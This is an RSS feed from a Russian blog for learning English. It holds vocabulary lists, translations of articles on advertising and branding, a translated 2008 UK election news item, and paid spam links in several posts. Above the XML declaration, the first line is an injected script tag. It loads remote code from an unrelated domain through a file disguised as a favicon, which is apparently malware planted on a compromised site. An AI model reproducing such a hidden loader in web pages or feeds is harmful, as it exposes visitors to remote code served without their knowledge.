<script src=http://ctnannychecks.com/images/favicon.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Блог русского об английском</title>
	<atom:link href="http://posenglish.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://posenglish.com</link>
	<description>или обучение анлийскому онлайн</description>
	<lastBuildDate>Thu, 07 Jan 2010 17:18:25 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Новые слова</title>
		<link>http://posenglish.com/novye-slova-6/</link>
		<comments>http://posenglish.com/novye-slova-6/#comments</comments>
		<pubDate>Tue, 04 Nov 2008 15:17:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Новые слова]]></category>
		<category><![CDATA[слова]]></category>

		<guid isPermaLink="false">http://posenglish.com/novye-slova-6/</guid>
		<description><![CDATA[malicious &#8211; злобный, злой
surface &#8211; поверхность, вид, внешность
respect &#8211; уважение
purge &#8211; очищение, очистка, слабительное
agreement &#8211; согласие, договор
conference &#8211; собрание, конференция, торговая ассоциация


Office furniture &#8211; офисная мебель для бизнес центров.
Буду ли Я в ТОП-300 блогов рунета?
]]></description>
			<content:encoded><![CDATA[<p><strong>malicious</strong> &#8211; злобный, злой<br />
<strong>surface</strong> &#8211; поверхность, вид, внешность<br />
<strong>respect</strong> &#8211; уважение<br />
<strong>purge</strong> &#8211; очищение, очистка, слабительное<br />
<strong>agreement</strong> &#8211; согласие, договор<br />
<strong>conference</strong> &#8211; собрание, конференция, торговая ассоциация<br />
<span id="more-17"></span><br />
<hr />
<font size="1">Office furniture &#8211; <a href='http://centeroffice.ru/'>офисная мебель</a> для бизнес центров.<br />
Буду ли <a href='http://omnenie.ru/ya-v-top-300/'>Я в ТОП-300</a> блогов рунета?</font></p>
]]></content:encoded>
			<wfw:commentRss>http://posenglish.com/novye-slova-6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Новые слова</title>
		<link>http://posenglish.com/novye-slova-5/</link>
		<comments>http://posenglish.com/novye-slova-5/#comments</comments>
		<pubDate>Thu, 23 Oct 2008 18:40:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Новые слова]]></category>

		<guid isPermaLink="false">http://posenglish.com/novye-slova-5/</guid>
		<description><![CDATA[house - дом
dependence &#8211; зависимость, доверие
courageous - бесстрашный, мужественный, отважный
accessible &#8211; доступный, достижимый

Не знаете что делать на новый год? Отпарвьтесь в новогодний тур!
Вся правда о протезировании зубов на сайте calsason.ru
]]></description>
			<content:encoded><![CDATA[<p><strong>house </strong>- дом<br />
<strong>dependence</strong> &#8211; зависимость, доверие<br />
<strong>courageous </strong>- бесстрашный, мужественный, отважный<br />
<strong>accessible</strong> &#8211; доступный, достижимый<br />
<span id="more-16"></span><br />
Не знаете что делать на <a href='http://www.rusnovgod.ru/'>новый год</a>? Отпарвьтесь в новогодний тур!<br />
Вся правда о <a href='http://calcason.ru'>протезировании зубов</a> на сайте calsason.ru</p>
]]></content:encoded>
			<wfw:commentRss>http://posenglish.com/novye-slova-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Truth-in-Advertising Movement</title>
		<link>http://posenglish.com/the-truth-in-advertising-movement/</link>
		<comments>http://posenglish.com/the-truth-in-advertising-movement/#comments</comments>
		<pubDate>Tue, 27 May 2008 16:28:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Перевод текстов]]></category>
		<category><![CDATA[english]]></category>
		<category><![CDATA[история]]></category>
		<category><![CDATA[перевод]]></category>
		<category><![CDATA[реклама]]></category>
		<category><![CDATA[текст]]></category>

		<guid isPermaLink="false">http://posenglish.com/the-truth-in-advertising-movement/</guid>
		<description><![CDATA[On English
The advertising industry ranked lower in public opinion than other businesses in the 1920s. Its practitioners were apt to be considered charlatans and hucksters. The Truth-in-Advertising Movement was the industry&#8217;s attempt at self-regulation. It arose out of efforts by the Associated Advertising Clubs of the World to respond to public fears that advertisers would [...]]]></description>
			<content:encoded><![CDATA[<p><strong>On English</strong><br />
The advertising industry ranked lower in public opinion than other businesses in the 1920s. Its practitioners were apt to be considered charlatans and hucksters. The Truth-in-Advertising Movement was the industry&#8217;s attempt at self-regulation. It arose out of efforts by the Associated Advertising Clubs of the World to respond to public fears that advertisers would observe no limits in the claims they made for their products.<br />
Critics felt that while certain kinds of consumer deception had been brought under control, others more insidious and basic to the nature of advertising persisted. The ethical goals of self-regulation and truth in advertising allowed members of the advertising industry to present themselves as professionals while also enhancing their credibility with the public. The Associated Advertising Clubs&#8217; activities gave rise to the National Better Business Bureau, which replaced the National Vigilance Committee.<br />
Long live ethical advertising.</p>
<p><strong>Перевод</strong><br />
Рекламная индустрия оценивалась ниже других бизнесов в общественном мнении 1920х годов. Ее практики были склонны считаться шарлатанами и спекулянтами. Движение Правда-В-Рекламировании было попыткой индустрии к саморегуляции. Оно явилось результатом усилий Ассоциации Рекламных Клубов мира дать ответ публичным опасениям, что рекламодатели не будут соблюдать никакие пределы в требованиях, которые они приписали своим товарам.</p>
<p>Критики чувствовали, что пока определенные виды покупательского обмана были под контролем, другие, более коварные и основные сохранялись в природе рекламирования. Этические цели саморегуляции и правды в рекламировании позволяли участникам рекламной индустрии представлять себя как профессионалов, также увеличивая их поддержку у публики. Деятельность Ассоциации Рекламных Клубов дала начало Национальному Бюро Лучшего Бизнеса, которое заменило Национальной Комитет по Бдительности.</p>
<p>Длинная жизнь этичному рекламированию.<br />
<span id="more-15"></span><br />
Учите <a href='http://php4you.kiev.ua/'>PHP</a>? Сайт php4you.kiev.ua вам в этом поможет. И переводить даже ничего не нужно!</p>
]]></content:encoded>
			<wfw:commentRss>http://posenglish.com/the-truth-in-advertising-movement/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Новые слова</title>
		<link>http://posenglish.com/novye-slova-4/</link>
		<comments>http://posenglish.com/novye-slova-4/#comments</comments>
		<pubDate>Tue, 27 May 2008 16:22:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Новые слова]]></category>
		<category><![CDATA[english]]></category>
		<category><![CDATA[words]]></category>
		<category><![CDATA[английски]]></category>
		<category><![CDATA[слова]]></category>

		<guid isPermaLink="false">http://posenglish.com/novye-slova-4/</guid>
		<description><![CDATA[autherntic &#8211; подлинный, настоящий
prominent &#8211; знаменитый, заметный
carefully &#8211; тщательно, аккуратно, внимательно
relevance &#8211; релевантность, значимость, важность
explore &#8211; исследовать, рассматривать
current &#8211; текущий, современный, популярный
]]></description>
			<content:encoded><![CDATA[<p><strong>autherntic</strong> &#8211; подлинный, настоящий<br />
<strong>prominent</strong> &#8211; знаменитый, заметный<br />
<strong>carefully</strong> &#8211; тщательно, аккуратно, внимательно<br />
<strong>relevance</strong> &#8211; релевантность, значимость, важность<br />
<strong>explore</strong> &#8211; исследовать, рассматривать<br />
<strong>current</strong> &#8211; текущий, современный, популярный</p>
]]></content:encoded>
			<wfw:commentRss>http://posenglish.com/novye-slova-4/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Новые слова</title>
		<link>http://posenglish.com/novye-slova-3/</link>
		<comments>http://posenglish.com/novye-slova-3/#comments</comments>
		<pubDate>Fri, 02 May 2008 15:59:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Новые слова]]></category>
		<category><![CDATA[слова]]></category>

		<guid isPermaLink="false">http://posenglish.com/novye-slova-3/</guid>
		<description><![CDATA[smell &#8211; запах, аромат
taste &#8211; вкус
vary &#8211; меняться, изменяться
widely &#8211; широко
ingrained &#8211; проникающий, пропитывающий, укоренившийся
habits &#8211; привычки
peril &#8211; риск, опасность, угроза
desire &#8211; желание, жажда (чего-то)
no matter &#8211; неважно


Некоторые люди берут в аренду теплоходы в Москве и очень даже довольны!
]]></description>
			<content:encoded><![CDATA[<p><strong>smell</strong> &#8211; запах, аромат<br />
<strong>taste</strong> &#8211; вкус<br />
<strong>vary</strong> &#8211; меняться, изменяться<br />
<strong>widely</strong> &#8211; широко<br />
<strong>ingrained</strong> &#8211; проникающий, пропитывающий, укоренившийся<br />
<strong>habits</strong> &#8211; привычки<br />
<strong>peril</strong> &#8211; риск, опасность, угроза<br />
<strong>desire</strong> &#8211; желание, жажда (чего-то)<br />
<strong>no matter</strong> &#8211; неважно<br />
<span id="more-13"></span></p>
<hr />
Некоторые люди берут в аренду <a href='http://www.teploxodik.ru/'>теплоходы в Москве</a> и очень даже довольны!</p>
]]></content:encoded>
			<wfw:commentRss>http://posenglish.com/novye-slova-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Перевод новости: &#171;Millions vote in the local elections in UK&#187;</title>
		<link>http://posenglish.com/perevod-novosti-millions-vote-in-the-local-elections-in-uk/</link>
		<comments>http://posenglish.com/perevod-novosti-millions-vote-in-the-local-elections-in-uk/#comments</comments>
		<pubDate>Thu, 01 May 2008 14:10:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Перевод текстов]]></category>
		<category><![CDATA[Англия]]></category>
		<category><![CDATA[новость]]></category>
		<category><![CDATA[перевод]]></category>

		<guid isPermaLink="false">http://posenglish.com/perevod-novosti-millions-vote-in-the-local-elections-in-uk/</guid>
		<description><![CDATA[Оригинал:
London (PTI): Millions of voters in the UK cast their ballots in the local elections across England and Wales on Thursday, the results of which are expected to go against the ruling Labour party and provide jitters to Prime Minister Gordon Brown. 
About 4,000 seats on 159 councils are up for grabs, along with the [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Оригинал</strong>:<br />
London (PTI): Millions of voters in the UK cast their ballots in the local elections across England and Wales on Thursday, the results of which are expected to go against the ruling Labour party and provide jitters to Prime Minister Gordon Brown. </p>
<p>About 4,000 seats on 159 councils are up for grabs, along with the London mayorality and London Assembly. </p>
<p>Ken Livingstone, the pro-India London Mayor is facing stiff competition from his closest rival Conservative Boris Johnson as he seeks a third-term. </p>
<p>The results are expected overnight for more than 100 councils but voters in Wales, some parts of England and in London would have to wait until later tomorrow for them. </p>
<p>London has 5.5 million registered voters and there are 10 candidates including Ken Livingstone, Boris Johnson and Liberal Democrat Brian Paddick.</p>
<p><strong>Мой перевод:</strong><br />
London (PTI): В четверг миллионы голосующих бросили свои избирательные бюллетени на выборах в местных органы власти по всей Англии и Уэльсе, результаты которых, как ожидают, пойдут против правящей Лейбористской партии и приведут к колебания премьер-министру Гордону Брауну.</p>
<p>Около 4000 мест в 159 советах свободны для захвата, включая Лондонскую мэрию и ассамблею.</p>
<p>Кен Ливинстоун &#8211; про-индийский мэр Лондона, желая 3 раз быть избранным, оказался в жестком соревновании со своим близким конкурентом консерватором Борисом Джонсоном.</p>
<p>Результаты ожидают ночью для более чем 100 советов, но избиратели в Уэльсе, некоторых частях Англии и в Лондоне узнают результаты только поздним утром.</p>
<p>Лондом имеет 5.5 миллионов зарегистрированных избирателей и 10 кандидатов, включая Кена Ливинстоуна, Бориса Джонсона и либерал-демократа Брайена Паддика</p>
]]></content:encoded>
			<wfw:commentRss>http://posenglish.com/perevod-novosti-millions-vote-in-the-local-elections-in-uk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Новые слова</title>
		<link>http://posenglish.com/novye-slova-2/</link>
		<comments>http://posenglish.com/novye-slova-2/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 20:41:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Словарь]]></category>
		<category><![CDATA[слова]]></category>

		<guid isPermaLink="false">http://posenglish.com/novye-slova-2/</guid>
		<description><![CDATA[warmth &#8211; сердечность, душевность
assertiveness &#8211; уверенность в себе
approachability &#8211; доступность
passion &#8211; трасть, взрыв чувств
reliability &#8211; надежность
possess &#8211; обладать, владеть
challenge &#8211; вызов, бросать вызов, проблема
]]></description>
			<content:encoded><![CDATA[<p><strong>warmth</strong> &#8211; сердечность, душевность<br />
<strong>assertiveness</strong> &#8211; уверенность в себе<br />
<strong>approachability</strong> &#8211; доступность<br />
<strong>passion</strong> &#8211; трасть, взрыв чувств<br />
<strong>reliability</strong> &#8211; надежность<br />
<strong>possess</strong> &#8211; обладать, владеть<br />
<strong>challenge</strong> &#8211; вызов, бросать вызов, проблема</p>
]]></content:encoded>
			<wfw:commentRss>http://posenglish.com/novye-slova-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Бренды и Взаимоотношения</title>
		<link>http://posenglish.com/brendy-i-vzaimootnosheniya/</link>
		<comments>http://posenglish.com/brendy-i-vzaimootnosheniya/#comments</comments>
		<pubDate>Mon, 28 Apr 2008 20:31:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Перевод текстов]]></category>
		<category><![CDATA[английский]]></category>
		<category><![CDATA[брендинг]]></category>
		<category><![CDATA[перевод]]></category>

		<guid isPermaLink="false">http://posenglish.com/brendy-i-vzaimootnosheniya/</guid>
		<description><![CDATA[Мой вольный перевод статьи Brands and Relationships
Люди развивают отношения с другими людьми. Бренды существуют так, чтобы организации могли делать тоже самое. Итак, что максимизирует привлекательность бренда? Те же самые вещи что максимизируют привлекательность личности – подлинность, честность, целостность (т.е. совпадение между мыслями, словами и поступками), харизма, сердечность, уверенность в себе, доступность, страсть, надежность, оригинальность и [...]]]></description>
			<content:encoded><![CDATA[<p>Мой вольный перевод статьи Brands and Relationships</p>
<p>Люди развивают отношения с другими людьми. Бренды существуют так, чтобы организации могли делать тоже самое. Итак, что максимизирует привлекательность бренда? Те же самые вещи что максимизируют привлекательность личности – подлинность, честность, целостность (т.е. совпадение между мыслями, словами и поступками), харизма, сердечность, уверенность в себе, доступность, страсть, надежность, оригинальность и т.д. И вот &#8211; вещь, которая делает людей и бренды самыми привлекательными. Каждый обладает различной комбинацией качеств, которые делают его привлекательным для различных людей в разное время.</p>
<p>Лучшие бренды бросят вызов, и успокоят, и вдохновят, и вытянут лучшее, и помогут каждому расти, так же как это делают лучшие человеческие отношения.</p>
<p>Брендинг, в своих лучших проявлениях, изменяет организации так, чтобы они были способны к созданию, воспитанию и поддержанию взаимовыгодных отношений с людьми. И это очень хорошая вещь.</p>
]]></content:encoded>
			<wfw:commentRss>http://posenglish.com/brendy-i-vzaimootnosheniya/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Логотипы брендов. Основы</title>
		<link>http://posenglish.com/logotipy-brendov-osnovy/</link>
		<comments>http://posenglish.com/logotipy-brendov-osnovy/#comments</comments>
		<pubDate>Sun, 27 Apr 2008 11:03:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Перевод текстов]]></category>
		<category><![CDATA[брендинг]]></category>
		<category><![CDATA[логотип]]></category>
		<category><![CDATA[перевод]]></category>

		<guid isPermaLink="false">http://posenglish.com/logotipy-brendov-osnovy/</guid>
		<description><![CDATA[Перевод статьи Brand Logo Basics
Очень важно, чтобы логотип был узнаваемым и читаемым. Часто люди могут только бегло взглянуть на логотип, да ито на расстоянии. Вот почему так важно интегрировать в логотипе распознаваемые иконки, формы, шрифты и цвета.
Некоторые логотипы были созданы в эру больших торговых центров и были разработаны как надписи на стенах зданий. Многие из [...]]]></description>
			<content:encoded><![CDATA[<p>Перевод статьи Brand Logo Basics</p>
<p>Очень важно, чтобы логотип был узнаваемым и читаемым. Часто люди могут только бегло взглянуть на логотип, да ито на расстоянии. Вот почему так важно интегрировать в логотипе распознаваемые иконки, формы, шрифты и цвета.</p>
<p>Некоторые логотипы были созданы в эру больших торговых центров и были разработаны как надписи на стенах зданий. Многие из них сейчас выглядят устаревшими (если конечно они не были обновлены). Логотип Hallmark как раз относится к этому классу. Другие логотипы были разработаны для того чтобы подчеркнуть корпоративное лидерство и стабильность. (например AT&#038;T, IBM). Многие из них сейчас выглядят холодными и стерильными. Некоторые логотипы более веселые, они несут большую индивидуальность. (например Apple, MTV, Ebay)</p>
<p>Сегодня логотипы должны быть разработаны с предъвидением того, что они будут использоваться в мульти-медиа средах (от телевидения до интернета). Это значит, то цвета, анимация и звуковое сопровождения должны быть продуманными.</p>
]]></content:encoded>
			<wfw:commentRss>http://posenglish.com/logotipy-brendov-osnovy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Немного о всеевропейской рекламе</title>
		<link>http://posenglish.com/nemnogo-o-vseevropejskoj-reklame/</link>
		<comments>http://posenglish.com/nemnogo-o-vseevropejskoj-reklame/#comments</comments>
		<pubDate>Sun, 02 Mar 2008 18:34:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Пересказ текстов]]></category>
		<category><![CDATA[английский]]></category>
		<category><![CDATA[бизнес]]></category>
		<category><![CDATA[пересказ]]></category>
		<category><![CDATA[реклама]]></category>

		<guid isPermaLink="false">http://posenglish.com/nemnogo-o-vseevropejskoj-reklame/</guid>
		<description><![CDATA[Все европейская реклама переводится на английский как Pan-European Advertising
Some companies is big. These companies sell diffirent things in many European countries. Sometimes they need advertising. And sometimes they create 1 ad and show it at diffirent European countries. It is a pan-european avertising. Sometimes it is successful, but sometimes is wrong. In small countries with [...]]]></description>
			<content:encoded><![CDATA[<p>Все европейская реклама переводится на английский как Pan-European Advertising</p>
<p>Some companies is big. These companies sell diffirent things in many European countries. Sometimes they need advertising. And sometimes they create 1 ad and show it at diffirent European countries. It is a pan-european avertising. Sometimes it is successful, but sometimes is wrong. In small countries with untraditional habits same ads don&#8217;t understand. For example in Benetton ads has shown a kiss between nun and priest. This ad won diffirent awards in Itly and Spain, but people in same other countries don&#8217;t understand it.</p>
<p>Говоря по русски. Бывают большие компании, которые продают различные вещи в разных странах европы. Иногда они рекламируются, иногда даже крутят 1 рекламный ролик в разных странах. &#8211; это и есть всеевропейская реклама. Иногда такая реклама успешна, но иногда нет. Так например реклама Бенеттона показывающая поцелуй священника и монахини &#8211; выиграла различные награды в Испании и Италии, но в ряде других стран люди так и не поняли ее.</p>
]]></content:encoded>
			<wfw:commentRss>http://posenglish.com/nemnogo-o-vseevropejskoj-reklame/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
